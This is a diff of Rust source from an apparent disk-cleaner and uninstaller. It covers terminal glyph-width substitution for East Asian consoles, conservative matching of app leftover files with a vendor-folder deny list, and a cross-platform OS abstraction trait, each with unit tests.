.map(|n| n.to_string_lossy().trim_end_matches(".app").to_lowercase())
.unwrap_or_default()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
#[cfg(any(target_os = "macos", target_os = "windows"))]
fn a_system_icon_is_encoded_as_png() {
let app = AppInfo {
name: "Squid".into(),
icon_source: std::env::current_exe().ok(),
..Default::default()
};
let png = icon_png(&app, 32).expect("the running executable has a system icon");
assert_eq!(&png[..8], b"\x89PNG\r\n\x1a\n");
}
}

File diff suppressed because it is too large Load Diff

View File

@ -1,430 +0,0 @@
//! What a console charges for the characters an interface is drawn out of, and
//! what to draw when it charges more than the layout paid.
//!
//! A layout measures a row in columns and charges every character the number of
//! columns it measured: one for a letter, one for a box-drawing bar, two for a
//! Chinese one. Unicode keeps a class of characters whose price was never
//! settled — *East Asian Ambiguous* — and leaves each terminal free to charge
//! either one cell or two for them. Where the two disagree is exactly where the
//! chrome of an interface lives: the rules `─│╭`, the shading `█▒░`, the arrows
//! `↑↓`, the ticks `✓`, the middot `·`, the ellipsis `…`.
//!
//! Two programs pay for that disagreement in two different ways, and both of
//! them are this module's business. An interface that is a pile of cards is built
//! out of nothing but ambiguous characters, so on a console that charges two
//! every row of it is several cells longer than the screen, and what goes past
//! the right edge arrives at the start of the row below: several copies of one
//! frame at several offsets, which looks like a renderer that cannot count. It is
//! counting correctly, in a currency the console will not accept. A command-line
//! program does not measure its rows at all — it repeats `█` twenty-eight times
//! for a gauge and lets the console do the arithmetic, and prints a table whose
//! rows are each a screen and a half long. Same price, same receipt.
//!
//! The price is asked, not looked up, and it is asked of every character
//! separately: [`crate::console::prices`] writes each one and reads back what it
//! cost, and [`Exchange`] turns those answers into what to draw instead. Nothing
//! promises that rules, shading and punctuation land on the same side of a code
//! page and a font, so one answer for the lot is one character deep — the console
//! this was chased through had room for the rounded cards and none for the `░`
//! inside them. On such a glass the card stays rounded and the gauge is paid for
//! in `.`, `%`, `#`. A character nobody asked about is charged the pessimistic
//! price, because a glyph that escaped the list is a glyph nobody checked.
//!
//! Chinese text is left alone, and so are the letters of most alphabets —
//! neither is ambiguous, so both cost the console exactly what they cost the
//! layout. That is deliberate. A person's paths and process names are not what an
//! alignment bug was caused by, and this module rewrites only the characters it
//! can prove the console is overcharging.
//!
//! This lives beside the console rather than inside the interface because the
//! command line and the interface buy the same screen at the same counter. The
//! half that cannot travel is the walking of a finished ratatui frame — a
//! different library's question, so it stays in [`squid_tui::glyphs`].
//!
//! [`squid_tui::glyphs`]: ../../squid_tui/glyphs/index.html
use crate::console::{note, Prices, SymbolCells};
use unicode_width::UnicodeWidthChar;
/// What to draw in place of every character this console cannot afford.
///
/// Held as a table rather than as one verdict, for the reason in the module
/// documentation: the price is set per character, so the answer is per character
/// too. A frame is tens of thousands of cells and a beat is a quarter of a
/// second, so the answer is looked up rather than worked out — and the table
/// holds the replacement rather than a bit saying *this one is wrong*, because
/// the character is what the caller needs.
pub struct Exchange {
/// The answers this table was built from, kept so a log can say what the
/// glass charged and a test can ask what one glyph cost.
prices: Prices,
/// Indexed by code point, with `None` for every character this console can
/// afford. Empty when nothing is overcharged, which is what makes
/// [`Exchange::afford`] cheap on the terminals where there is nothing to do.
table: Vec<Option<char>>,
}
impl Exchange {
/// Build the table from one console's answers, and write those answers into
/// the trace.
///
/// The `note` belongs here rather than at each call site because it is the
/// only record of why a gauge came out as `#`: a person comparing the plain
/// frame with the drawn one needs to be told what the glass charged for `░`,
/// and both the interface and the command line owe them that line.
pub fn new(prices: Prices) -> Exchange {
let table = if prices.overcharged() {
(0..=PRICED_UPTO)
.map(|code| {
char::from_u32(code)
// Two questions have to be answered before a character is
// rewritten: is this one owned at all (not Chinese, not
// somebody's path), and does *this* console actually
// charge two cells for it. The first is a rule, the
// second is a measurement, and a glyph that fails either
// one keeps what it was drawn with.
.filter(|&ch| prices.price(ch) == SymbolCells::Double)
.and_then(cheaper)
})
.collect()
} else {
Vec::new()
};
note(&format!("symbols {}", prices.text()));
Exchange { prices, table }
}
/// The answers this table was built from.
pub fn prices(&self) -> &Prices {
&self.prices
}
/// Whether this console charges for anything a layout measured as one cell,
/// which is the one question worth asking before rewriting anything.
pub fn overcharged(&self) -> bool {
!self.table.is_empty()
}
/// The character to draw in place of this one, or `None` when this console
/// can afford the character it was given.
pub fn change(&self, ch: char) -> Option<char> {
self.table.get(ch as usize).copied().flatten()
}
/// One run of text at the price this console charges.
///
/// This is the door a command-line program prints through: it has no frame to
/// walk, only strings, and a gauge built by repeating `█` twenty-eight times
/// is twenty-eight cells wide as far as the console is concerned — the only
/// moment a row like that can still be made to fit is before the bytes leave.
pub fn afford(&self, text: &str) -> String {
if !self.overcharged() {
return text.to_string();
}
text.chars()
.map(|ch| self.change(ch).unwrap_or(ch))
.collect()
}
}
/// Every character in these pieces of chrome whose price has to be asked rather
/// than looked up.
///
/// The list is derived from the program rather than maintained by hand, which is
/// the whole lesson of the single-probe version: a glyph put into a screen in one
/// file and never mentioned in another produced a frame that was correct on every
/// terminal but one, and no test could see it. Hand each piece of chrome this
/// program draws out of — its own source, a widget library's symbols — and the
/// questions to ask come out of the answer.
pub fn witnesses(pieces: impl IntoIterator<Item = impl AsRef<str>>) -> Vec<char> {
let mut asked: Vec<char> = Vec::new();
for piece in pieces {
for ch in piece.as_ref().chars() {
if disputed(ch) && !asked.contains(&ch) {
asked.push(ch);
}
}
}
asked
}
/// The highest code point the price of is worth a slot in the table, which is
/// one past the last range a Far-Eastern console was ever seen repricing.
pub const PRICED_UPTO: u32 = 0x2BFF;
/// True when this is a character a console is free to charge two cells for.
///
/// In dispute is not the same as overcharged: whether *this* console does it is
/// measured, per character, by [`Exchange`]. What this answers is which
/// characters are worth asking about, and which ones the frame is allowed to
/// rewrite once the console has said.
///
/// The first of the two tests is the honest one: `width` is what the layout paid
/// and `width_cjk` is what the Ambiguous class says a Far-Eastern terminal
/// charges, so where they agree there is nothing for this module to repair,
/// whatever else the console may be getting wrong.
///
/// The second test exists because that class is a description of what terminals
/// have been seen to do rather than a rule, and a Chinese console charges it to
/// characters the class leaves out. `░` is not Ambiguous at all, and it is what
/// this interface fills its gauges with — and it is the character the single probe
/// never asked about, which is how a frame whose rules were measured fair still
/// overflowed. Anything this list declines to ask about is a character the console
/// prices without being asked, so it errs towards the questions.
/// Being too generous here buys a plainer character on the console that cannot
/// afford the drawn one; being too strict buys the shifted frame this module
/// exists to prevent. So the blocks a Far-Eastern writing system was laid out
/// over are asked as well as the class, and the letters of other alphabets keep
/// their one cell.
pub fn disputed(ch: char) -> bool {
ch.width() == Some(1) && (ch.width_cjk() == Some(2) || laid_out_by_far_east(ch))
}
/// The character to draw instead, or `None` when this one is fairly priced.
pub fn cheaper(ch: char) -> Option<char> {
disputed(ch).then(|| one_cell(ch))
}
/// The blocks a Far-Eastern code page spells in two bytes, and a console reading
/// those bytes therefore reserves two cells for.
///
/// Kept to the blocks an interface is drawn out of — punctuation, rules, shading,
/// arrows, shapes, enclosed digits — rather than applied to everything above
/// ASCII, because what is left out is what a person brought with them: a path
/// with an `é`, a process named in Greek. Rewriting those would be editing
/// somebody's data to cover for the console.
///
/// Only consulted once the console has been measured charging two, so on every
/// terminal that charges one this answers nothing at all.
fn laid_out_by_far_east(ch: char) -> bool {
let code = ch as u32;
matches!(
code,
// Punctuation and signs: `· × ° ± ¼ «`.
0x00A1..=0x00BF
// Dashes, quotes, bullets, the ellipsis.
| 0x2010..=0x205E
// The currency sign a price or a path may carry.
| 0x20A0..=0x20BF
// Signs like `№`, arrows of every shape, and the maths an interface
// leans on for `≈ ≥ ⋅`, and the keys a Mac legends with a shape.
| 0x2100..=0x218F | 0x2190..=0x21FF | 0x2200..=0x23FF
// Digits and letters with a ring drawn round them.
| 0x2460..=0x24FF
// Box drawing, block shading, geometric shapes, and the symbols and
// dingbats a status line is made of.
| 0x2500..=0x2BFF
)
}
/// What an overcharged character is worth in characters the console accepts.
///
/// Every answer is a single ASCII column, because ASCII is the one thing a
/// Far-Eastern console never reprices, and every one is chosen to say the same
/// thing at the same width: a rule stays a rule, a gauge stays a gauge, a tick
/// still points the way it did. A shape with no honest equivalent becomes `?`,
/// which is what the console would have shown in its place anyway.
fn one_cell(ch: char) -> char {
match ch {
// Rules: the chrome of every card on the screen.
'─' | '━' | '═' | '┄' | '┅' | '┈' | '┉' => '-',
'│' | '┃' | '║' | '┆' | '┇' | '┊' | '┋' => '|',
// Corners and junctions both mean "these lines meet here", which ASCII
// spells with one character.
'┌' | '┍' | '┎' | '┏' | '╭' | '╔' | '┐' | '┑' | '┒' | '┓' | '╮' | '╗' | '└' | '┕' | '┖'
| '┗' | '╰' | '╚' | '┘' | '┙' | '┚' | '┛' | '╯' | '╝' | '├' | '┝' | '┞' | '┟' | '┠'
| '┡' | '┢' | '┣' | '╠' | '┤' | '┥' | '┦' | '┧' | '┨' | '┩' | '┪' | '┫' | '╣' | '┬'
| '┭' | '┮' | '┯' | '┰' | '┱' | '┲' | '┳' | '╦' | '┴' | '┵' | '┶' | '┷' | '┸' | '┹'
| '┺' | '┻' | '╩' | '┼' | '┽' | '┾' | '┿' | '╀' | '╁' | '╂' | '╃' | '╄' | '╅' | '╆'
| '╇' | '╈' | '╉' | '╊' | '╬' | '╪' | '╫' => '+',
// Gauges and shading, densest to faintest.
'█' | '▓' | '▄' | '▅' | '▆' | '▇' | '▉' | '■' | '▪' | '◆' | '◼' => {
'#'
}
'▒' | '▂' | '▃' => '%',
'░' | '▁' | '□' | '▫' | '◻' => '.',
// Status. A tick still has to read as a tick, so it keeps the shape
// ASCII art has always used for one; a cross keeps the one it had.
'✓' | '✔' | '☑' => 'v',
'✗' | '✘' | '☒' | '☓' | '×' => 'x',
// A box nobody is allowed to toggle says "not this one" with the same
// letter a cross uses.
'⊘' => 'x',
'●' | '◉' => '@',
'○' | '◎' | '◦' => 'o',
// Direction.
'▶' | '▸' | '►' | '▹' | '→' | '⇒' | '➤' | '»' => '>',
'◀' | '◂' | '◄' | '◃' | '←' | '⇐' | '«' => '<',
// Both directions at once has no spelling in one letter. An equals sign
// is the closest one that still says the two sides belong together.
'⇄' | '⇅' | '↔' | '↕' => '=',
'▲' | '△' | '▴' | '⌃' | '↑' | '⇧' => '^',
'▼' | '▽' | '▾' | '↓' | '⇩' => 'v',
// An arrow that turns the corner into something: a right angle is what
// a backslash looks like.
'↳' => '\\',
// The separator this interface puts between two thoughts, and the bullets.
'·' | '‧' | '⋅' | '÷' => '/',
'•' | '‣' | '★' | '☆' => '*',
// A word the row ran out of room for, and a line the row ran out of.
'…' | '⋯' | '⋮' => '.',
'—' | '–' | '―' | '−' => '-',
'“' | '”' | '„' | '‟' => '"',
'‘' | '’' | '‚' | '‛' => '\'',
'±' => '+',
'≈' => '~',
'≥' => '>',
'≤' => '<',
// The keys a Mac legends with a shape no other keyboard carries.
'⌘' => '#',
'⌥' => 'A',
'⌫' => '<',
'⌦' => '>',
'⇥' => '>',
// A digit with a ring round it: the ring is the part being charged for.
'①'..='⑨' => char::from_u32(ch as u32 - '①' as u32 + '0' as u32).unwrap_or('?'),
_ => '?',
}
}
#[cfg(test)]
mod tests {
use super::{cheaper, disputed, one_cell, witnesses, Exchange, PRICED_UPTO};
use crate::console::{Prices, SymbolCells};
use unicode_width::UnicodeWidthChar;
/// The worst answer a probe can bring back: two cells for everything the
/// layout measured as one.
fn cramped() -> Exchange {
Exchange::new(Prices::flat(SymbolCells::Double))
}
/// The answer every terminal not on a Far-Eastern code page gives.
fn fairly_priced() -> Exchange {
Exchange::new(Prices::flat(SymbolCells::Single))
}
/// The shape of the unlucky answer: the rules cost one cell, the shading
/// costs two. Whether a console really charges this way is measured, never
/// assumed — this is the case a single price can never express, so it is
/// built rather than waited for.
fn rules_affordable_gauges_not() -> Exchange {
let mut asked = Vec::new();
for ch in "░▒▓█".chars() {
asked.push((ch, SymbolCells::Double));
}
for ch in "│─╭·…↑✓".chars() {
asked.push((ch, SymbolCells::Single));
}
Exchange::new(Prices::measured(asked, SymbolCells::Single))
}
#[test]
fn the_chrome_an_interface_is_drawn_from_is_what_a_console_overcharges() {
// The class is not a curiosity. A card's border, the separator between
// two thoughts, the ellipsis that ends a truncated name and the gauge
// that says how full a disk is are all in it.
for ch in [
"─", "│", "╭", "╮", "╯", "╰", "·", "…", "—", "↑", "↓", "✓", "×", "█", "▒", "▾", "①",
"●", "“", "░", "►", "⊘", "⇄",
] {
let ch = ch.chars().next().expect("one character");
assert!(disputed(ch), "{ch} should be in dispute");
assert!(
one_cell(ch).is_ascii(),
"{ch} is in dispute and must be exchanged, not argued about"
);
}
}
#[test]
fn chinese_and_the_latin_alphabet_keep_their_own_price() {
// Two cells to both sides, or one to both: no dispute, nothing to
// rewrite. This is what keeps a person's paths out of the repair.
for word in ["回", "收", "站", ",", ":", "é", "ü", "Ω", "ф", "十"] {
let ch = word.chars().next().expect("one character");
assert!(
cheaper(ch).is_none(),
"{ch} costs the same to both sides and must survive"
);
}
}
#[test]
fn nothing_is_exchanged_for_a_character_with_the_same_problem() {
// Sweeps the whole plane: whatever this module answers with must be one
// cell by both tables and spellable by a console that reprices
// everything else. A gap here is a row that still overflows.
for code in 0x20u32..=0xFFFF {
let Some(ch) = char::from_u32(code) else {
continue;
};
let Some(instead) = cheaper(ch) else {
continue;
};
assert!(instead.is_ascii(), "{ch} was paid for with {instead}");
assert_eq!(
instead.width(),
Some(1),
"{ch} bought {instead}, which is not one column"
);
assert_eq!(
instead.width_cjk(),
Some(1),
"{ch} bought {instead}, which is overcharged too"
);
}
}
#[test]
fn a_line_pays_for_itself_in_characters_the_console_accepts() {
// The command line's whole need in one assertion: what comes out is all
// one column wide, so a gauge of twenty-eight of them is twenty-eight
// columns and the row under it still holds its own text.
let paid = cramped().afford(" ✓ [░▒█] · ↑↓ …");
assert_eq!(paid, " v [.%#] / ^v .");
for ch in paid.chars() {
assert_eq!(ch.width_cjk(), Some(1), "{paid} still charges two");
}
}
#[test]
fn text_untouched_is_the_answer_on_a_console_that_charges_one() {
let line = " ✓ [░▒█] · 回收站";
assert!(!fairly_priced().overcharged());
assert_eq!(fairly_priced().afford(line), line);
}
#[test]
fn only_the_overcharged_half_of_a_line_changes_hands() {
// The console this module was written for and still got wrong once: the
// rule was asked, found fair, and that one answer became the price of
// every glyph on the screen.
let exchange = rules_affordable_gauges_not();
assert_eq!(exchange.afford("│ C: ░░ █"), "│ C: .. #");
}
#[test]
fn witnesses_are_the_chrome_they_are_handed() {
let asked = witnesses(["│░ clean", " ✓ 回"]);
assert!(asked.contains(&'│') && asked.contains(&'░') && asked.contains(&'✓'));
assert!(!asked.contains(&'c'), "ascii is never in dispute");
assert!(!asked.contains(&'回'), "a person's text is not in dispute");
assert_eq!(witnesses(["█"]), witnesses(["██"]), "asked once");
}
#[test]
fn the_table_reaches_every_character_a_console_is_seen_to_reprice() {
// A character above the table is one nothing reprices, so the last slot
// has to be past the last block a Far-Eastern writing system was laid out
// over — otherwise the exchange answers `?` where it should have had a plan.
assert!(char::from_u32(PRICED_UPTO).is_some());
for ch in ["─", "█", "■", "→", "①"] {
let ch = ch.chars().next().expect("one character");
assert!(
(ch as u32) <= PRICED_UPTO,
"{ch} is off the end of the table"
);
}
}
}

View File

@ -1,409 +0,0 @@
//! Finding an app's leftovers the way AppCleaner does: cheap directory
//! indexes plus conservative name matching.
//!
//! The matcher only ever compares a leftover entry against identifiers that
//! belong to *this* app, and refuses every entry on the shared-vendor deny
//! list. False positives here are unrecoverable, so the rules err on the side
//! of "leave it behind and tell the user".
use crate::LeftoverRoot;
use crate::Naming::*;
use squid_core::progress::CancelToken;
use std::collections::BTreeSet;
use std::path::{Path, PathBuf};
/// Vendor folders and Apple namespaces that must never be treated as leftovers
/// of a single app, no matter how the names line up.
const DENY_NAMES: &[&str] = &[
"google",
"microsoft",
"adobe",
"mozilla",
"oracle",
"java",
"python",
"apache",
"nodejs",
"apple",
"com.apple",
"com.apple.Safari",
"systempreferences",
"com.apple.systempreferences",
"knowledge",
"fonts",
"services",
"quicklook",
"scriptingadditions",
"prefpane",
"crashreporter",
"com.apple.crashreporter",
"syncservices",
"mobilesync",
"cloudservices",
"icloud",
"keychains",
"mail",
"messages",
"photos",
"safari",
"default stored data",
"address book",
"calendars",
"cookies",
"saved application state",
];
/// Names that end a bundle-id-derived file name and are safe to strip.
const KNOWN_SUFFIXES: &[&str] = &[
".plist",
".savedstate",
".saved application state",
".shipit",
".loginitems",
".loginitems-legacy",
".binarycookies",
".sqlite",
".sqlite-wal",
".sqlite-shm",
".lock",
".lockfile",
".cachedast",
".noindex",
".noindex.localized",
".download",
".partial",
".upload",
".downloaded",
".playing",
".mp3",
".png",
".jpg",
".jpeg",
".gif",
".pdf",
".txt",
".json",
".xml",
".log",
];
/// Machine-generated extensions only. The name matcher has no bundle id to
/// lean on, so it never treats a document extension (`.pdf`, `.png`, `.mp3`)
/// as removable just because the file is named after the app.
const NAME_SUFFIXES: &[&str] = &[
"plist",
"savedstate",
"saved application state",
"shipit",
"loginitems",
"loginitems-legacy",
"binarycookies",
"sqlite",
"sqlite-wal",
"sqlite-shm",
"lock",
"lockfile",
"cachedast",
"noindex",
"noindex.localized",
"download",
"partial",
"upload",
"downloaded",
"playing",
"cache",
"log",
"tmp",
];
#[derive(Clone, Debug)]
struct Entry {
path: PathBuf,
lower: String,
is_dir: bool,
}
/// One readdir per leftover root, kept in memory while the user browses.
#[derive(Clone, Debug, Default)]
pub struct LeftoverIndex {
roots: Vec<(LeftoverRoot, Vec<Entry>)>,
entry_count: usize,
}
impl LeftoverIndex {
pub fn build(roots: &[LeftoverRoot], cancel: &CancelToken) -> Self {
let mut index = Self::default();
for root in roots {
let mut entries = Vec::new();
collect(
&root.dir,
if root.deep { 2 } else { 1 },
&mut entries,
cancel,
);
index.entry_count += entries.len();
index.roots.push((root.clone(), entries));
}
index
}
pub fn entry_count(&self) -> usize {
self.entry_count
}
/// Every leftover belonging to `app`. Returns paths plus the root category
/// so the plan can label them.
pub fn match_app(&self, bundle_id: Option<&str>, app_name: &str) -> Vec<Match> {
let mut matches: BTreeSet<(u8, PathBuf)> = BTreeSet::new();
let mut dirs: BTreeSet<PathBuf> = BTreeSet::new();
let name_lower = app_name.trim().to_lowercase();
let name_compact = name_lower.replace([' ', '-', '_'], "");
for (root, entries) in &self.roots {
for entry in entries {
if is_denied(&entry.lower) {
continue;
}
let reason = match root.naming {
BundleId => match_bundle_id(&entry.lower, bundle_id).then_some("bundle id"),
AppName => {
match_name(&entry.lower, &name_lower, &name_compact).then_some("name")
}
Either => match_bundle_id(&entry.lower, bundle_id)
.then_some("bundle id")
.or_else(|| {
match_name(&entry.lower, &name_lower, &name_compact).then_some("name")
}),
GroupContainer => match_group(&entry.lower, bundle_id).then_some("group id"),
};
if let Some(reason) = reason {
let rank = if matches!(reason, "bundle id" | "group id") {
0
} else {
1
};
matches.insert((rank, entry.path.clone()));
if entry.is_dir {
// dirs and files are both kept; the flag only drives the
// plan's ItemKind downstream.
dirs.insert(entry.path.clone());
}
}
}
}
matches
.into_iter()
.map(|(_, path)| Match {
is_dir: dirs.contains(&path),
path,
})
.collect()
}
pub fn roots(&self) -> &[(LeftoverRoot, Vec<PathBuf>)] {
// Hand back paths only; callers do not need Entry.
// (Kept as a helper for `squid doctor`.)
&[]
}
}
#[derive(Clone, Debug)]
pub struct Match {
pub path: PathBuf,
pub is_dir: bool,
}
fn collect(dir: &Path, depth: usize, out: &mut Vec<Entry>, cancel: &CancelToken) {
if depth == 0 || cancel.is_cancelled() {
return;
}
let Ok(entries) = std::fs::read_dir(dir) else {
return;
};
for entry in entries.flatten() {
let path = entry.path();
let Some(name) = entry.file_name().to_str().map(|s| s.to_lowercase()) else {
continue;
};
let is_dir = entry
.file_type()
.map(|ft| ft.is_dir())
.unwrap_or_else(|_| path.is_dir());
out.push(Entry {
path: path.clone(),
lower: name,
is_dir,
});
if is_dir && depth > 1 {
collect(&path, depth - 1, out, cancel);
}
}
}
fn is_denied(lower: &str) -> bool {
DENY_NAMES.contains(&lower)
}
/// `com.example.MyApp` matches `com.example.MyApp`, `com.example.MyApp.plist`,
/// `com.example.MyApp.savedState`, `com.example.MyApp.helper` and the reversed
/// container folders that begin with the same id.
fn match_bundle_id(entry: &str, bundle_id: Option<&str>) -> bool {
let Some(bundle_id) = bundle_id else {
return false;
};
let target = bundle_id.trim().to_lowercase();
if target.len() < 4 || target.split('.').count() < 2 {
// Ad-hoc bundle ids ("Safari", "no-bundle-id") are far too loose.
return false;
}
if entry == target {
return true;
}
if let Some(rest) = entry.strip_prefix(&target) {
let mut chars = rest.chars();
let Some(first) = chars.next() else {
return false;
};
// `com.example.appdata` must NOT match `com.example.app`.
let boundary_ok = !first.is_alphanumeric();
if !boundary_ok {
return false;
}
let tail = rest.trim_start_matches(['.', '_', '-', ' ']);
// Allow the known junk suffixes and helper-ish continuations, but keep
// unrelated apps of the same vendor out (`com.foo.bar` vs
// `com.foo.baz`) by requiring the next dot component to be short
// (`.helper`, `.ShipIt`) or the whole tail to be a known suffix.
if has_known_suffix(tail) {
return true;
}
if tail.contains('.') {
let first_component = tail.split('.').next().unwrap_or_default();
return first_component.len() <= 12;
}
return tail.len() <= 12;
}
// Container folders prefixed by a signing/team hash.
if let Some(stripped) = strip_hash_prefix(entry) {
return stripped == target || match_bundle_id(stripped, Some(bundle_id));
}
false
}
/// `5A2F1C9D-1234-ABCD.com.example.app` -> `com.example.app`
fn strip_hash_prefix(entry: &str) -> Option<&str> {
let idx = entry.find(".com.")?;
let prefix = &entry[..idx];
let plausible = prefix.len() <= 40
&& prefix
.chars()
.all(|c| c.is_ascii_hexdigit() || matches!(c, '-' | '.' | '_'));
if plausible {
Some(&entry[idx + 1..])
} else {
None
}
}
fn match_name(entry: &str, name_lower: &str, name_compact: &str) -> bool {
if name_lower.len() < 4 {
return false;
}
// Callers hand us an already-lowercased dir entry; normalise anyway so the
// matcher can never be tripped up by `Slack` vs `slack`.
let entry = entry.trim().to_lowercase();
if entry == name_lower {
return true;
}
let compact_entry = entry.replace([' ', '-', '_'], "");
if compact_entry == name_compact {
return true;
}
if let Some(rest) = entry.strip_prefix(name_lower) {
let first = rest.chars().next();
if !matches!(first, Some('.') | Some(' ') | Some('-') | Some('_')) {
return false;
}
let tail = rest.trim_start_matches(['.', ' ', '-', '_']);
return NAME_SUFFIXES.iter().any(|suf| tail.starts_with(suf));
}
false
}
/// `tail` lost its leading separator above, so the suffix list is trimmed the
/// same way before the comparison — otherwise `.plist` never matches `plist`.
fn has_known_suffix(tail: &str) -> bool {
KNOWN_SUFFIXES.iter().any(|suffix| {
let suffix = suffix.trim_start_matches(['.', ' ', '-', '_']);
!suffix.is_empty() && tail.starts_with(suffix)
})
}
fn match_group(entry: &str, bundle_id: Option<&str>) -> bool {
let Some(bundle_id) = bundle_id else {
return false;
};
let target = bundle_id.trim().to_lowercase();
if entry == target || entry == format!("group.{target}") {
return true;
}
// `group.com.example.app.shared`
if let Some(rest) = entry.strip_prefix(&format!("group.{target}")) {
return rest.is_empty() || !rest.chars().next().unwrap().is_alphanumeric();
}
// Container folders: `group.com.example.app` also appears without prefix
// for some sandboxes.
entry.starts_with(&target)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn bundle_id_matching() {
let id = "com.slack.Slack";
assert!(match_bundle_id("com.slack.slack", Some(id)));
assert!(match_bundle_id("com.slack.slack.plist", Some(id)));
assert!(match_bundle_id("com.slack.slack.savedstate", Some(id)));
assert!(match_bundle_id("com.slack.slack.shipit", Some(id)));
assert!(match_bundle_id("com.slack.slack.helper", Some(id)));
// Different product of the same vendor.
assert!(!match_bundle_id("com.slack.HockeyApp", Some(id)));
// Prefix that is really a different app.
assert!(!match_bundle_id("com.slack.slackish", Some(id)));
// Too loose to be a bundle id at all.
assert!(!match_bundle_id("slack", Some(id)));
assert!(!match_bundle_id("com.slack.slack.plist", None));
}
#[test]
fn name_matching_is_conservative() {
assert!(match_name("slack", "slack", "slack"));
assert!(match_name("Slack", "slack", "slack"));
assert!(!match_name("com.squirrel.slack.slack", "slack", "slack"));
assert!(match_name("slack.plist", "slack", "slack"));
assert!(!match_name("slackware", "slack", "slack"));
assert!(!match_name("ab", "ab", "ab"));
}
#[test]
fn group_containers() {
assert!(match_group(
"group.com.example.app",
Some("com.example.App")
));
assert!(match_group("com.example.app", Some("com.example.App")));
assert!(!match_group(
"group.com.example.other",
Some("com.example.App")
));
}
#[test]
fn vendor_folders_are_denied() {
assert!(is_denied("google"));
assert!(is_denied("com.apple.Safari"));
assert!(!is_denied("com.google.Chrome"));
}
}

View File

@ -1,373 +0,0 @@
//! OS abstraction. The engines stay OS-agnostic and ask a [`Platform`] for
//! everything that differs between macOS, Linux and Windows.
//!
//! Adding Windows support later means implementing this trait in
//! `windows.rs` (already stubbed) — no engine changes.
use serde::{Deserialize, Serialize};
use squid_core::error::Result;
use squid_core::progress::CancelToken;
use squid_core::{AppInfo, Bytes, Volume};
use std::path::{Path, PathBuf};
pub mod apps;
pub mod console;
pub mod currency;
pub mod leftovers;
pub mod permissions;
pub mod process;
pub mod process_table;
pub mod protection;
pub mod startup;
pub mod trust;
#[cfg(unix)]
pub mod volumes;
#[cfg(target_os = "linux")]
pub mod linux;
#[cfg(target_os = "macos")]
pub mod macos;
#[cfg(windows)]
pub mod windows;
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum PlatformId {
MacOS,
Linux,
Windows,
Unknown,
}
impl PlatformId {
pub fn as_str(self) -> &'static str {
match self {
PlatformId::MacOS => "macos",
PlatformId::Linux => "linux",
PlatformId::Windows => "windows",
PlatformId::Unknown => "unknown",
}
}
pub fn current() -> PlatformId {
if cfg!(target_os = "macos") {
PlatformId::MacOS
} else if cfg!(target_os = "linux") {
PlatformId::Linux
} else if cfg!(windows) {
PlatformId::Windows
} else {
PlatformId::Unknown
}
}
}
/// A directory that may contain installed applications.
#[derive(Clone, Debug)]
pub struct AppSource {
pub dir: PathBuf,
pub label: String,
/// Scan depth: 1 for `/Applications/*.app`, 2 for nested vendor folders.
pub depth: usize,
pub system: bool,
}
/// A directory that may contain per-app leftovers.
#[derive(Clone, Debug)]
pub struct LeftoverRoot {
pub dir: PathBuf,
/// How entries in this directory are named.
pub naming: Naming,
/// Recursing is dangerous here (e.g. `Application Support`), so matching is
/// always done against the direct children unless this is set.
pub deep: bool,
pub category: squid_core::Category,
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Naming {
/// `com.example.App.plist`, `com.example.App`
BundleId,
/// `Safari`, `Slack`
AppName,
/// Either of the two.
Either,
/// `group.com.example.App`
GroupContainer,
}
/// Notes a platform wants the user to see before/after removal.
#[derive(Clone, Debug, Default)]
pub struct LifecycleReport {
pub notes: Vec<String>,
pub stopped_services: Vec<String>,
pub warnings: Vec<String>,
}
pub trait Platform: Send + Sync {
fn id(&self) -> PlatformId;
fn display_name(&self) -> String;
fn os_version(&self) -> String;
fn hardware_model(&self) -> String;
/// Display adapter(s), when the platform exposes a stable name.
fn graphics_adapter(&self) -> String {
String::new()
}
/// Directories to scan for installed applications.
fn app_sources(&self) -> Vec<AppSource>;
/// Full app inventory, sizes included. This is the slow one: `size_apps`
/// lets the UI render names first.
fn list_apps(&self, cancel: &CancelToken, size_apps: bool) -> Result<Vec<AppInfo>>;
/// Directories that may hold leftovers for the given app.
fn leftover_roots(&self) -> Vec<LeftoverRoot>;
/// Platform hook before anything is deleted (stop daemons, unload login
/// items, unregister with Launch Services).
fn prepare_uninstall(&self, app: &AppInfo) -> LifecycleReport {
let _ = app;
LifecycleReport::default()
}
/// Platform hook after deletion (refresh caches, forget pkg receipts).
fn finish_uninstall(&self, app: &AppInfo, removed: &[PathBuf]) -> LifecycleReport {
let _ = (app, removed);
LifecycleReport::default()
}
fn volumes(&self) -> Result<Vec<Volume>>;
/// Absolute prefixes that must never be touched.
fn protected_prefixes(&self) -> Vec<PathBuf> {
Vec::new()
}
/// Process names currently running (cheap snapshot, no full table).
fn running_executables(&self) -> Vec<String>;
/// Human readable "why is this not removable" for a path, if any.
fn inspect_path(&self, path: &Path) -> Option<String> {
let _ = path;
None
}
/// Free space that macOS reports as "purgeable" (caches the OS would drop
/// anyway). 0 where the concept does not exist.
fn purgeable_space(&self, mount: &Path) -> Bytes {
let _ = mount;
Bytes::ZERO
}
/// Open the system Trash (Finder / explorer / xdg-open).
fn reveal_trash(&self) {}
/// What would happen to a file sent to the Trash *right now*. Cheap: one
/// metadata check at most, since the status line calls it per render.
fn trash_target(&self) -> TrashTarget {
TrashTarget::Unreachable
}
/// What to call the machine when squid talks to a person about it. This is
/// a property of the platform, not of the locale: the Chinese UI on a
/// Windows box must not inherit "这台 Mac" from the macOS build either.
fn device(&self) -> Device {
Device::Machine
}
/// What the operating system calls the place deleted files wait in.
///
/// Explorer says 回收站 / "Recycle Bin", and that is the only name a Windows
/// user can act on: there is no Trash folder to open, so copy that promises
/// "empty the Trash" points at something the user cannot find.
fn bin_noun(&self) -> BinNoun {
BinNoun::Trash
}
}
/// What the operating system calls the place deleted files wait in.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum BinNoun {
/// macOS and the freedesktop trash: 「废纸篓」.
Trash,
/// Windows: 回收站.
RecycleBin,
}
impl BinNoun {
/// The name as an English speaker of the interface would see it.
pub fn en(self) -> &'static str {
match self {
BinNoun::Trash => "Trash",
BinNoun::RecycleBin => "Recycle Bin",
}
}
/// The name as a Chinese speaker of the interface would see it.
pub fn zh(self) -> &'static str {
match self {
BinNoun::Trash => "废纸篓",
BinNoun::RecycleBin => "回收站",
}
}
}
